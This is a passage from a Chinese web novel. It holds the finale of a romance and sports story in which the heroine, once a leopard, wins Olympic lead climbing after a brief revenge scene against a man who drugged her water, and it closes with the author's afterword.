“云媞,我知道你为人善良。” 以为小姑娘动了恻隐,想放人一马,顾成玉不认同地皱眉,“但咱们千万不能对这种恶人心慈手软,否则就是姑息养奸。” “对啊媞媞,不要放过他们!” 陈祉希和其他小姐妹也齐声劝告。 而另一旁,因刚才踹人太多次而腿抽筋的黎星言,倏地闪到一侧,隐隐猜到云媞想要做什么。 果然,下一秒,云媞拿起台上一瓶矿泉水,径直走到男人面前。 “你刚才好像很想喝这个?” 晃动瓶身,微小的颗粒肉眼难查。 她单手钳住男人两腮,迫使他仰头张嘴,“那你全部喝完吧。” 不由分说的,瓶口塞进男人口中,在对方摇头晃脑地挣扎下,水花四溅。 顾成玉等人无一幸免,身上到处都染上水渍印。 提前闪开的黎星言逃过一劫,暗自窃喜:还好还好,他足够了解老婆。不然被这恶心男人的口水,毁了自己精心打扮的穿搭,那不得气死! 媞媞都还没来得及欣赏我今天的美貌呢! “咳咳咳……” 男人剧烈咳嗽,甚至试图用手扣嗓子眼催吐。 但此时他已经被灌了大半瓶,再怎么补救也是无力回天。 “不行!我不能喝!这水里加的药剂有成瘾性啊……” 原来,在他们的计划中,不仅要使云媞身败名裂,还要赶尽杀绝毁了她的余生。 “去你大爷的!” 黎星言暴怒,抬起那条好腿就是一顿猛踹。 “呕!” 呕吐物混着浑浊液体,吐了小少爷满裤脚。 “啊啊啊啊啊我要杀了你!” * 吕观恶行暴露,以权谋私、徇私枉法,教唆并指使心智尚不成熟的学员们栽赃陷害同伴,枉顾国家级教练员的崇高身份。 再加上在奥运期间发生这档子事,中央高度重视,当即对他进行停职查办处理,男队副教练暂代其位。 一切将会等奥运结束后,内部调查清楚再做最终处罚决定。 难度攀岩决赛前一天,陈露找上顾成玉。 她红着眼眶,没了往日傲气昂扬的气场,带着一丝畏缩和自厌,“顾教练,我想弃权……对不起。” 沉默半晌,顾成玉凝眸道:“千辛万苦pk掉那么多人,才斩获决赛席位。这是你自己爬出来的成绩,真的甘心放弃吗?” “我……”陈露垂下头,如鲠在喉,“可是这个机会,从一开始就不属于我。” 如果不是因为吕观想要笼络自己,扫清障碍扶她上位,方纯熙或许根本不会中计伤退。 这是她偷来的蛋糕。 也因错位的贪念,她和恶人绑在了一条贼船上。 「小露,我是为了帮你,才会对她下手,所以归根结底,她受伤都是你的错,是你害了自己的同伴。」 「害一个是害,害两个又有什么关系呢?只要把云媞拉下来,你就能变成最佳。」 吕观的低语,幽灵般仍在耳旁回响。 顾成玉轻轻摇头,滑动手机屏幕解锁,随后递给陈露,“看看吧。” 是方纯熙与她的私聊界面。 「顾教练,我已经听说了最近的事,原谅我有个不情之请,希望您能再给小露一个机会好吗?我受伤的事和她没有关系,无论她后来有没有听信那个男人的教唆,至少我受伤时她是不知情的,不知者无罪,不能把一切都怪罪到她的头上。」 「小露有实力,但一直差点运气,所以才容易急功近利、剑走偏锋。相信这次的教训,会让她真正成长为一名坚不可摧的战士。」 …… 陈露再也忍不住,失声痛哭起来。 顾成玉见状于心不忍,将她一把搂进怀中,“云媞跟我说了,她说前段时间能察觉出你不太对劲,但似乎每次你想要动手时,又都主动放弃了。” 不过,云媞的原话是:「有贼心没贼胆,要是她真敢出手,早就见不到第二天的太阳了。还有,你能不能劝她别再来找我道歉了,她没有对我造成实质性损失,也没必要道歉。」 “君子论迹不论心,既然你最终没有作恶,那么就称不上恶人。但记住这种后怕和悔恨,以此为鞭策,往后一定不要再犯。” 说罢,顾成玉伸出右手,“迅速调整好心态,为了女队,你更要加油!” 陈露愣怔片刻,泪眼婆娑中,她突然镇定下来,像是找到了方向。 “好,为了女队!”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 【大结局】 第97章 “观众朋友们大家好!您现在收看的是本届奥运会攀岩三项的最后一场比赛,难度攀岩决赛现场!” “想必前几日云媞带给大家的惊喜仍历历在目,她在速度攀岩及抱石项目上力压国外名将,以流畅而高效的路线,直接抹去了其他顶级选手的纪录线!为华国拿下两枚金牌,迎来比赛首日开门红!” “透过现场大屏可以看到,云媞今天的状态依旧保持不错啊,她是否会延续此前的辉煌,创造新的奇迹呢?让我们一起拭目以待吧!” 解说席上,前女子抱石奥运银牌得主张佳铭作为特邀嘉宾出任解说。 她与经验丰富的老牌解说员梁盛一唱一和,声音中透出无以言表的激动和亢奋。 内行人远比观众更能体悟云媞在攀岩运动上作出的贡献,作为较冷门的小众运动项目,此前华国攀岩在国际上的成绩并不出彩,国人关注度也不高。 在云媞这个新人怪物冒出来之前,攀岩并非约定俗成的“夺金点”。正是因为她自带的惊人热度,再加上这半年屡破世界纪录,才带动攀岩运动的全民热潮。 若云媞今日收官战再创佳绩,无疑将开创一段由她书写的、空前绝后的新纪元。 热场环节,国际导播也很懂收视率。 镜头扫过家属席位时,特意在云媞的“后援团”停留许久——求生小分队全员到齐。 明娇娇依旧光彩照人,笑着朝镜头抛飞吻。 班列沉浸在姐姐的盛世美颜中,浑然不觉自己的痴呆样被拍了个底朝天。 贺君卓反应很快,夸张地双手比心,油腻感扑面而来。 已是风云霸总的叶玄沉稳许多,颔首示意后,重新将注意力放回赛场。 康仔坐在他身侧,同样正襟危坐,已然有了都市精英的气场。 崔达和苏简甜蜜地相视一笑,随后一齐朝镜头挥手打招呼。 马育铭乐呵呵地挠头,模仿贺君卓比心,结果比了个大苹果。 至于黎星言…… 今天骚包小少爷显然是精心打扮了一番,头发抓得一丝不苟,衣服更是花里胡哨、孔雀开屏似的。 似乎早就算好了镜头何时会拍到自己。 他不疾不徐地一手掏出应援灯牌:「世界冠军云媞的正牌未婚夫」 一手摆正平板:「携爱情结晶爆爆小黑到此一游」 平板正在视频,小猴子和大胖蛇在屏幕里激动地到处乱窜。 “噫——” 全场一片嘘声。 求生小分队其他人也像提前商量好似的,同时笑着朝黎星言竖倒指。 团欺地位无疑了。 但此男毫不在意,反正能独得媞媞恩宠就够了。 嬉笑中,现场大屏切换。 云媞开始候场热身。 决赛岩壁巍然矗立,沉默而嶙峋,远胜预赛的凶险高度和角度让人屏息。 女孩仰头观察岩壁的整体布局,似乎在思考最优解。 不过数秒,只见她轻盈跃起,指尖精确嵌入微不可查的岩点,鞋尖同时踩住几乎无法辨识的凸起。 “看呐这动态发力!还有核心力量与控制力完美结合……云媞正在以超越所有人的节奏向上推进!”梁盛语气中满是赞许。 她的身体舒展如风中藤蔓,每一次发力都像是精心设计过的舞蹈,将不可能化为优雅的现实。 “老实说,这是我第一次看云媞的现场,总算明白了网上那句‘她是猫猫,也是豹豹’是什么意思……”张佳铭慨叹一声,“她的动作太干净了,既有猫的轻盈灵动,又有豹的敏锐强劲,实在是天赋异禀。” …… 不同于足球、篮球等团体赛,攀岩是个人的单打独斗,观众很难从中感受到戮力同心、一致对外的激情和热潮;也不同于乒乓、游泳等运动项目,能在与对手们同台竞技中,上演跌宕起伏、逆风翻盘的精彩戏码。 攀岩是一场限时闭卷考试,攀岩人进入独立的考场、安静作答,没有任何提示,也无法根据交手和反馈进行调整,铃响后答案揭晓。 一锤定音。 过于依赖运动员的人格魅力,这也是攀岩为何难像其他项目那样火爆的内在原因之一。 而云媞却将这种个人艺术表演到了极致。 时间尚未过半,终点区域在望。 不少观众开始半路开香槟,导播将镜头对准挥舞着五星红旗的国人。 胜利的气息似乎已在空气中弥漫。 云媞探出右手,抓住关键支点,一枚小小的蓝色岩点。 然而就在她交付全身重量的刹那,岩点竟不堪重负般骤然碎裂! 心灵感应似的,黎星言和班列猛得站起。 “卧槽!” 惊呼如同巨浪席卷全场。 只见云媞身体猛地向下一沉,左臂仍死死扣住一个边缘薄如刀刃的岩点,这是仅剩的救命稻草。 她整个身体悬空,仅凭两根左手手指与岩壁相连,在令人窒息的空气中微微摆动。 “天呐!怎么回事儿?岩点为什么碎了!” 张佳铭喊到倒嗓,哑着声音问旁边的解说员:“老梁,奥运史上出现过这种情况吗?因外界不可抗力因素导致的失误,会采取怎样的补救措施?” 老实说,谁也不知道。 不在自家主场,裁判有失公允,云媞又因实力太过超神而被视作各国眼中钉,此刻可谓是腹背受敌。 观众席上,无数人捂住了嘴,有人甚至下意识地闭上眼睛,不敢再看。 镜头清晰地捕捉到云媞因极限发力而剧烈颤抖的手臂肌肉,汗水沿着她紧绷的下颌线成串滴落,砸在下方的安全绳上。 时间被无限拉长、凝固,每一秒都异常沉重。 她悬在半空,像一片即将被风扯碎的树叶。 “稳住!云媞!稳住!” 梁盛的声音低沉,拳头紧握。 不知过了多久,云媞艰难仰头,呼出一口气。 烈日阳光照到她的眉骨,在眼窝下方投出深邃的阴影。 整个天空颠倒,恍惚间,塞伦盖蒂炽热的风呼啸而过,金合欢叶隙影影绰绰。 云媞似乎回到了阔别已久的故土。 豹妈妈叼着她的后脖颈,摇摇晃晃淌过暴雨淤积的泥泞,踏过干涸皲裂的旱塘,爬上被群狮饿狼围追堵截的高坡,最后将利爪狠狠插入坚韧的树干,像飓风一样掠过遮天蔽日的冠层。 那是她第一次觉得,遥不可及的天空原来也可以唾手可得。 就同如现在- 太难了……坚持不住的…… 即使最终失败,她也依然是我们的英雄。 每个人心里都这样想。 没曾想,云媞竟开始找准节奏摆动身体,幅度由小变大,仿佛钟摆积蓄力量。 终于,在最后一次竭尽全力的甩动中,她松开岌岌可危的薄片点,离弦之箭般刺出。 通过脚踏更高处一个粗糙的原始岩棱,云媞借力精准搭在最近的同色系手点上。 稳住了! “她做到了!天啊!云媞竟然用了原始岩壁!等等,现场裁判抬手示意……” 张佳铭完全破音,带着哭腔。 “没有犯规!比赛继续!” 整个场馆爆发出近乎疯狂的、劫后余生的欢呼,就连国外观众和媒体都开始忍不住鼓掌。 声浪几乎要将穹顶掀翻。 用时四分钟,高度已经突破二十米,完成50+支点后,来到异常光滑的仰角岩板,几乎没有明显的手点。 但岩壁顶端就在眼前。 从俯拍镜头来看,场下观众已经成了密密麻麻的小点。 太高了…… 数万人同时倒抽一口冷气,死寂降临。 云媞却没有丝毫惧色,甚至以仰躺的姿势调换了脚点。 随后,她将身体紧贴光滑的岩板,用异常刁钻的倒挂小角度,仅靠摩擦力与核心力量缓缓向上蠕动。 “简直太不可思议了!云媞的每个动作,似乎都在解构地心引力的方程式!” 梁盛话音未落,突破仰角后的云媞,身体猛地向上一拔,右手高高扬起,带着孤注一掷的力量,重重拍在终点触板上。 完攀! 山呼海啸般的欢呼撕裂寂静。 解说席上,张佳铭和梁盛的声音完全被淹没。 无数观众跳了起来,泪流满面,奋力挥舞五星红旗,巨大的声浪一波接一波,冲击着场馆的每个角落。 现场大屏正在反复回播云媞的高光时刻。 岩点碎 裂、单手悬空挂壁、突破身体极限征服最后仰角的光滑岩板,以及石破天惊的最后一击…… “真正的强大并非生来刚硬,而是无数次在岩点般尖锐的磨砺中,依然敢于向上伸出伤痕累累的手掌,去触摸那片更高远的天空。那里,只有痛过的人才能抵达!这片被汗水浸透的岩壁,正是她们通往天空的战场!” “云媞!好样的!女队姑娘们,好样的!” 在地面安全员的牵引下,几乎没有丝毫冲坠感,云媞优雅下落。 大屏上,她侧对镜头,崎岖嶙峋的岩壁在身后化作虚影。 抵达地面的那一刻,云媞回望刚刚被自己征服的、通向巅峰的曲折路径,抬起手,指尖温柔地触碰了一下面前冰冷的岩壁。 风将她散落的碎发吹到耳后,露出一张坚韧的、充满生命力的侧颜。 “当登顶时刻来临,回首来时的路线,那些曾令人生畏的难点,此刻都成了勋章。攀岩的满足感,不只来自登顶,更来自过程中每一厘米的进步,每一次对恐惧的克服。” “观众朋友们!请试想一下,城市忽然变成了另一面岩壁,上面布满各种可能的支点与路线。生活中的挑战依然存在,重要的不是岩壁有多高,而是你如何看待它,你是否愿意将手伸向下一个支点。” 张佳铭的声音再次响起,穿透喧嚣,带着确信无疑的力量,“云媞今日的表现,或许教会我们思考有关人生最重要的一课——如何在垂直世界中寻找生命的支点。” “感谢云媞!感谢我们的奥运三连冠!” “朋友们,此刻,让我们兑现诺言,毫无保留地为英雄喝彩,共庆新纪元的到来吧!” …… 央媒直播平台,弹幕多如残影。 【实至名归!!!】 【云媞!大女人就是牛!(没有说男人牛的意思)】 【啊啊啊三连冠!!!介绍一下!这既是我的猫猫,也是我的豹豹,是的!孩子出生了!】 【谁能数数刚才的观众席抓拍环节,拍到了多少国内外明星网红富二代……捏妈这是真的全明星阵容啊!】 【国内的也就不说啥了,我咋看见M国好几个大明星还有导演,而且他们还在脸上画了“云朵”的印花标识???不是,云媞这么火吗???】 【楼上的,你新粉吧,不知道我们媞姐咋火的?求生综艺未剪辑版还是在M国首播的呢……】 【奥运会也不过如此嘛,没能力做特效,就不要让我媞姐拿实力硬撑,ok?(狗头保命】 【严重怀疑歪果导演是来邀请云媞去拍超级英雄系列电影的,正好武替和特效钱都可以省了】 【你这么一说,突然想起前几天那条新闻,这个导演好像也出席了黎小少爷的毕业作品展来着,对他非常欣赏哦!】 【真假啊?黎星言不是草包二代废物吗?确定不是因为他家有钱才有意迎合?】 【网上营销号的话随便看看得了,黎星言在M国电影圈都火成啥样了,“天才新晋导演”不是吹的好吗?】 【我作证……本人是他隔壁学校编导专业硕士,我导在课上还专门分析了他大三拍的首秀作品,听说那个电影在M国上映赚了几个亿……】 【我靠!完全看不出来啊……只觉得他又舔狗又死装又骚包,你们看看他今天打扮的那个样!简直把小白脸三个字写脸上了!】 【没毛病啊,丈夫的美貌,妻子的荣耀!】 …… 赛后采访环节,云媞和顾成玉避无可避,最后被双双堵在出场处。 华国能进奥运村的都是官方媒体,记者们问的问题平和且友好。 回答了几个有关平时训练和夺冠后的心情之类的常规问题后,有记者问到云媞“未来职业规划”。 “众所周知,咱们媞媞主演的首部电视剧,不久后就要和观众朋友们见面了,最近放出的定档预告也非常精彩。从娱乐圈到体育圈,跨度之大令人称叹,很多网友们都很好奇,媞媞未来是会继续深耕攀岩,还是重回影视界呢?” 这个问题深深戳中顾成玉的心,于私,她自然希望云媞能在这项运动上发光发热、替国家将辉煌延续数十年。 但她心知肚明:云媞的路,远不止如此。 本想回避这一问题,但顾成玉思忖数秒,终究没有插手小辈发声的权利。 “我也不知道。” 按照约定,顾教练不语,意味着可以自行回答。云媞想了想说:“也许两个都会兼顾,也许两个都会暂停。” 聪明豹豹也学会了人类惯用的“糊弄文学”和“废话文学”。 给出一个模棱两可的答复后,她笑道:“毕竟第一次做人,有无限可能。” 大家心领神会,露出一脸姨母笑。 都以为自己懂了。 实际上,谁都没懂她话里的深意。 紧接着,话筒给到国外媒体。 记者众多,良莠不齐。 有娱乐小报抢到主动权,为博眼球而开始将采访焦点引到云媞的情感隐私上面,“听说您的新晋男友,是目前备受国际电影圈关注的天才青年导演黎星言,这是真的吗?” 听出话头不对,顾成玉立即开口制止:“抱歉,与比赛无关的话题,这边不方便回答。” “真的。”刚听完同声传译的云媞,径直回答,“黎星言是我男友。” 原以为只有黎小少爷是恋爱脑,现在从云媞宠夫的程度看来,她也不遑多让。 顾成玉无奈扶额,嘚,白干。 一旦开了这个口子,四面八方的八卦全都涌了上来。 有媒体趁机刻意刁难,“作为女性,您每天素颜不打扮,相比于黎少,似乎显得没那么精致靓丽,而对方身价地位目前远高于你,会不会担心有出轨风险?” 这番话实在不算客气,国外媒体兴致勃勃、煽风点火。 国内媒体纷纷变脸,但碍于官方身份,犹豫是否要将矛盾撕到明面上。 只有听不懂英语的云媞,一脸茫然,还在默默等待翻译。 “喂!你在狗叫什么!” 突然,一道清澈洪亮的声音打破僵局。 侧目望去。 只见不知何时混入媒体团的黎星言,扛着比现场记者还夸张的长枪短炮,一路横冲直撞跻身前排,操起一口流利而地道的美式腔调说:“小爷我每天都有好好打扮,我老婆不会出轨的!谁敢挖墙脚,先撒泡尿照照自己,长得有没有我这么赏心悦目!” 打扮是花枝招展的,气势是盛气凌人的,语气是张扬跋扈的。 就是这内容…… 没救了,云家娇夫已然沉浸在酣畅淋漓的自我物化与雄竞中无法自拔。 那边已经吵了一轮,云媞这边才听完翻译。 她单手摘下翻译器的耳麦,笑着朝黎星言招了招手。 刚才还在舌战群儒、到处狂吠的黎小狗,屁颠屁颠拎起拍摄设备,乖乖凑上前。 隔着伸缩带礼宾栏,云媞探身,不顾众人眼光,右手覆上他的后脖颈,径直吻了上去。 “砰!” 昂贵沉重的摄像机从黎星言手中滑落,山崩地裂般砸到地上。 紧接着,四面八方的惊呼和相机“咔擦声”同时响彻,闪光灯汇聚一点。 “嗯,答应你,不出轨。” 结束浅尝辄止的亲吻后,云媞笑着捏了捏一脸痴呆的黎星言,“老公?” …… 大洋彼岸,华国。 黎冉执导的电影空降上线。 或许称不上电影。 这是由她在十几年前拍摄野保纪录片时随手录下的镜头,剪辑而成的一部纪实短片。 影片最后,豹妈妈与小花豹趴在湖泊边,悠闲自在地喝着水,黎冉和小儿子坐在越野车的引擎盖上静静眺望。 远处,金合欢茂密的树冠一直向镜头外延伸,似乎要将她们牢牢笼罩在自己羽翼之下。 满天夕阳平等地铺洒在稀树草原上,世界金灿灿一片,华丽而盛大。 放映结束。 屏幕暗下。 数秒过后,浮现一条近乎透明的赠言。 「Wendy.Weetothenewworld.」 (Wendy,欢迎来到新世界。) ——正文完———— 作者有话说:国庆最后一天,完结撒花[撒花][撒花][撒花]虽然又狠狠扑了,但写完了自己想写的故事,我真棒啊!(叉腰)感谢老婆们的一路陪伴,本章留言有惊喜掉落~(其实本糊咖一直都有在偷偷视奸你们桀桀桀),欢迎大家完结评分呀,多给笨厨子提提意见,助力厨子做出更符合大家口味的好饭!另外番外还没写(orz速速滑跪,最近实在灵感枯竭 [化了]),后续会以福利番外的形式缓缓抬上来。 下本会插队先开《把收款码塞到给糊咖的信里后》,十万字左右小甜饼,很快就能端上来啦!然后再开《玄学大拿,大拿特拿》《这里是白社会》,感兴趣点点收藏吧[可怜][可怜][可怜]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m